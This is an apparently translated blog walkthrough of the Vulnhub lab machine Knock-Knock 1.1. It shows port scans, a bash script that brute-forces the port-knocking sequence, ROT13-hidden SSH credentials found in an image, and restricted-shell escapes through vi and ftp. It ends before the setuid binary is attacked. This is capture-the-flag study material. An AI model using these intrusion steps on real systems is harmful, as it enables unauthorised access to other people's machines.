On the website of Vulnhub we can find many virtual machines prepared to exploit known bugs and use different tricks to penetrate systems and find security breaches. Today I'm posting my answer key for one of the machines that I have liked so far: Knock-Knock: 1.1
Description
Let's go!
First we identify the ip that has been assigned to the virtual machine and perform a routine scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
root @ kali : ~ # netdiscover -i eth0
Currently scanning : 192.168.29.0 / 16 | Screen View : Unique Hosts
14 Captured ARP Req / Rep packets , from 8 hosts . Total size : 840
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -
192.168.1.113 08 : 00 : 27 : be : dd : c8 01 060 CADMUS COMPUTER SYSTEMS
root @ kali : ~ # nmap -sS -sV -PN 192.168.1.113
Starting Nmap 7.00 ( https : //nmap.org ) at 2015-12-27 09:04 EST
Nmap scan report for 192.168.1.113
Host is up ( 0.00042s latency ) .
All 1000 scanned ports on 192.168.1.113 are filtered
MAC Address : 08 : 00 : 27 : BE : DD : C8 ( Oracle VirtualBox virtual NIC )
Service detection performed . Please report any incorrect results at https : //nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up ) scanned in 5.74 seconds
|
It seems that we do not get any results, but it gave us a clue in describing DHCP is not broken and the name of the virtual machine, I guess that we have to play with ports. The first thing I think about is "portknocking"and I start Googling to refresh your memory.
- How to Use Port Knocking to Hide your SSH Daemon from Attackers
After a quick reading, let's do a deeper scan, this time hitting
|
root @ kali : ~ # for i in {1..65535};do nmap -PN --host_timeout 201 --max-retries 0 -p $i 192.168.1.113;done|grep open
260 / tcp filtered openport
557 / tcp filtered openvms - sysipc
1194 / tcp filtered openvpn
1259 / tcp filtered opennl - voice
1337 / tcp open waste
1473 / tcp filtered openmath
|
Perfect! We have opened the 1337, we will investigate it a little
|
root @ kali : ~ # nc -vv 192.168.1.113 1337
192.168.1.113 : inverse host lookup failed : Unknown host
( UNKNOWN ) [ 192.168.1.113 ] 1337 ( ? ) open
[ 24680 , 23810 , 58745 ]
sent 0 , rcvd 22
root @ kali : ~ # telnet 192.168.1.113 1337
Trying 192.168.1.113...
Connected to 192.168.1.113.
Escape character is '^]' .
[ 30825 , 34256 , 14349 ]
Connection closed by foreign host .
|
It gives us little information, no banner, but I find it curious to see 3 ports at the exit. I'm going to hit them! In the article port knocking in Spanish read: Port knocking (Touching ports) is a discrete method of open ports, by default, the firewall remains closed. It works by requiring connection attempts to a series of closed pre-defined ports. When the correct sequence of "ports" (connection attempts) is received, the firewall then opens certain port (s). So I imagine that if we hit those three ports in the correct order other ports will open to our ip and in theory we will see them with nmap. First we try in the same order they appear after closing telnet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
root @ kali : ~ # nmap -PN --host_timeout 201 --max-retries 0 -p 30825,34256,14349 192.168.1.113
Starting Nmap 7.00 ( https : //nmap.org ) at 2015-12-27 09:58 EST
Nmap scan report for 192.168.1.113
Host is up ( 0.00057s latency ) .
PORT STATE SERVICE
14349 / tcp filtered unknown
30825 / tcp filtered unknown
34256 / tcp filtered unknown
MAC Address : 08 : 00 : 27 : BE : DD : C8 ( Oracle VirtualBox virtual NIC )
Nmap done : 1 IP address ( 1 host up ) scanned in 0.10 seconds
root @ kali : ~ # nmap -F 192.168.1.113
Starting Nmap 7.00 ( https : //nmap.org ) at 2015-12-27 09:58 EST
Nmap scan report for 192.168.1.113
Host is up ( 0.00029s latency ) .
All 100 scanned ports on 192.168.1.113 are filtered
MAC Address : 08 : 00 : 27 : BE : DD : C8 ( Oracle VirtualBox virtual NIC )
Nmap done : 1 IP address ( 1 host up ) scanned in 2.33 seconds
|
Ouch! There has been no luck. We will have to create a script that tests all possible combinations of strikes to those three ports and we do "brute force". We will use the same thing as before: telnet and nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#!/bin/bash
#LoRKa pax0r script for knock-knock vm (vulnhub.com)
host = 192.168.1.113
puertos = ` telnet $ host 1337 | grep "," | sed 's/,/ /' | sed 's/,/ /' | sed 's/\[/ /' | sed 's/\]/ /' `
file = lista . txt
rm - rf $ file
for c1 in $ puertos
do
for c2 in $ puertos
do
if [ "$c1" != "$c2" ] ; then
for c3 in $ puertos
do
if [ "$c1" != "$c3" ] ; then
[ $ c1 - ne $ c2 - a $ c1 - ne $ c3 - a $ c2 - ne $ c3 ] && echo $ c1 >> $ file && echo $ c2 >> $ file && echo $ c3 >> $ file
fi
done
fi
done
done
for i in ` cat $ file ` ; do nmap - PN -- host _ timeout 201 -- max - retries 0 - p $ i $ host ; done 2 > & 1
nmap - F $ host
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
root @ kali : ~ # ./tok-tok.sh
Connection closed by foreign host .
Starting Nmap 7.00 ( https : //nmap.org ) at 2015-12-27 10:09 EST
Nmap scan report for 192.168.1.113
Host is up ( 0.00026s latency ) .
PORT STATE SERVICE
34916 / tcp filtered unknown
MAC Address : 08 : 00 : 27 : BE : DD : C8 ( Oracle VirtualBox virtual NIC )
Nmap done : 1 IP address ( 1 host up ) scanned in 0.14 seconds
Starting Nmap 7.00 ( https : //nmap.org ) at 2015-12-27 10:09 EST
Nmap scan report for 192.168.1.113
Host is up ( 0.00072s latency ) .
PORT STATE SERVICE
58747 / tcp filtered unknown
MAC Address : 08 : 00 : 27 : BE : DD : C8 ( Oracle VirtualBox virtual NIC )
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Starting Nmap 7.00 ( https : //nmap.org ) at 2015-12-27 10:09 EST
Nmap scan report for 192.168.1.113
Host is up ( 0.00069s latency ) .
Not shown : 98 filtered ports
PORT STATE SERVICE
22 / tcp open ssh
80 / tcp open http
MAC Address : 08 : 00 : 27 : BE : DD : C8 ( Oracle VirtualBox virtual NIC )
Nmap done : 1 IP address ( 1 host up ) scanned in 2.23 seconds
root @ kali : ~ #
|
Eureka !! Now the firewall teaches us the ports open to our local ip address, we will see that there is there ..
On the web we see
After looking at the code and not find anything, did a scan to possible hidden directories and files wfuzz , also spent nikto and got no results in any case. This led me to think that there might have been a bug in ssh, I looked at the version that returned the banner and I railed for a while with that too, I tried brute force with easy ssh dictionaries and I did not get anything either.
|
root @ kali : ~ # nc -vv 192.168.1.113 22
192.168.1.113 : inverse host lookup failed : Unknown host
( UNKNOWN ) [ 192.168.1.113 ] 22 ( ssh ) open
SSH - 2.0 - OpenSSH_6 . 0p1 Debian - 4 + deb7u2
Protocol mismatch .
sent 1 , rcvd 58
root @ kali : ~ #
|
Then I realized that the only thing I had not seen in depth was the image that appeared in the index, downloaded it and ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
root @ kali : ~ # strings knockknock.jpg
JFIF
Ducky
http : //ns.adobe.com/xap/1.0/
<? xpacket begin = "
" id = "W5M0MpCehiHzreSzNTczkc9d" ?>
< x : xmpmeta xmlns : x = "adobe:ns:meta/" x : xmptk = "Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43 " >
< rdf : RDF xmlns : rdf = "http://www.w3.org/1999/02/22-rdf-syntax-ns#" >
< rdf : Description rdf : about = ""
. . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
\ Uv*
* M1W
tR ) O
MO : / ?
qW | U
\ + \ U
Login Credentials
abfnW
sax2Cw9Ow
root @ kali : ~ #
|
These "Login Credentials" should be the other service we have active, ssh. After testing user: abfnW and password: sax2Cw9Ow (and vice versa), only got "incorrect password". Then I thought they were encrypted somehow. Since it was not base64 md5 or I went directly to google and put "simple ciphers" and the first article that appears , wikipedia, it gives us the answer. Encryption is our rot13 and we will help a small program in c to decipher.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#include
#include
int main ( int argc , char * * argv ) {
int ch = '\0' ;
while ( ( ch = fgetc ( stdin ) ) != EOF )
{
/* for every char in stdin */
unsigned char c = ( unsigned char ) ch ;
if (
( c >= 'a' && c <= 'z' ) || ( c >= 'A' && c <= 'Z' ) ) { /* if letter */ unsigned char abs ; if ( c >= 'a' && c <= 'z' ) /* for every small letter */ abs = c - 'a' ; else if ( c >= 'A' && c <= 'Z' ) /* for every big letter */ abs = c - 'A' ; abs = abs + 13 ; /* dot rot13 */ if ( abs >= 26 )
abs -= 26 ; /* wrap */
if ( c >= 'a' && c <= 'z' ) /* for every small letter */ c = abs + 'a' ; else if ( c >= 'A' && c <= 'Z' ) /* for every big letter */
c = abs + 'A' ;
} ;
printf ( "%c" , c ) ;
}
return 0 ;
}
|
We copy the two words to a txt ... and ...
|
root @ kali : ~ # cat password
abfnW
sax2Cw9Ow
root @ kali : ~ # cat password |./rot13
nosaJ
fnk2Pj9Bj
root @ kali : ~ #
|
After testing them with no result, again I look at "nosaJ", hmmm "Jason"? I'm going to copy the password file to the chain again and I'm going to go through the rot13 again ..
1
2
3
4
5
6
7
8
9
10
11
12
13
|
root @ kali : ~ # cat pass
abfnW
sax2Cw9Ow
Wnfba
wO9wC2xas
root @ kali : ~ # cat pass|./rot13
nosaJ
fnk2Pj9Bj
Jason
jB9jP2knf
root @ kali : ~ #
|
After a couple of tries (user Jason is lowercase and I still do not know why ..) I get into the machine. I do an ls and I see a file with setuid root but ..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
root @ kali : ~ # ssh -l jason 192.168.1.113
jason @ 192.168.1.113 's password:
Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Jan 6 11:57:50 2016 from 192.168.1.106
total 32
drwxr-xr-x 2 jason jason 4096 Oct 11 2014 .
-rw------- 1 jason jason 2396 Oct 11 2014 .viminfo
-rwsr-xr-x 1 root jason 7457 Oct 11 2014 tfc
lrwxrwxrwx 1 jason jason 9 Sep 26 2014 .bash_history -> /dev/null
-rw-r--r-- 1 jason jason 3398 Sep 25 2014 .bashrc
-rw-r--r-- 1 jason jason 675 Sep 24 2014 .profile
drwxr-xr-x 3 root root 4096 Sep 24 2014 ..
-rw-r--r-- 1 jason jason 220 Sep 24 2014 .bash_logout
-rbash: ./tfc: restricted: cannot specify `/' in command names
jason @ knockknock : ~ $
|
Oh wait A "restricted bash" !! , The oldschool them to sound these techniques of old wargames and not bad review them , so we look at https://en.wikipedia.org/wiki/Restricted_shell and our beloved wikipedia returns to give us the solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
jason @ knockknock : ~ $ vi
: set shell = / bin / sh
: shell
$ id
uid = 1000 ( jason ) gid = 1000 ( jason ) groups = 1000 ( jason ) , 24 ( cdrom ) , 25 ( floppy ) , 29 ( audio ) , 30 ( dip ) , 44 ( video ) , 46 ( plugdev )
$ . / tfc
______________________________ _
\ __ ___ / \ _ _____ / \ _ __ _ \
| | | __ ) / \ \ /
| | | \ \ \ ____
| ____ | \ ___ / \ ______ /
\ / \ /
Tiny File Crypter - 1.0
Usage : . / tfc < filein . tfc > < fileout . tfc >
$
|
Later I discovered a cooler way to escape, which I did not know and learned thanks to this challenge
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
jason @ knockknock : ~ $ ftp
ftp > !
jason @ knockknock : ~ $ . / tfc
______________________________ _
\ __ ___ / \ _ _____ / \ _ __ _ \
| | | __ ) / \ \ /
| | | \ \ \ ____
| ____ | \ ___ / \ ______ /
\ / \ /
Tiny File Crypter - 1.0
Usage : . / tfc < filein . tfc > < fileout . tfc >
jason @ knockknock : ~ $
|
Well, come to this point and after reviewing the machine in general without finding any strange file or binary with setuid, we are clear that our challenge is already focused on the binary "tfc", created by c0ne and to which They give you thanks in the initial description.
To be continue…
Aucun commentaire:
Enregistrer un commentaire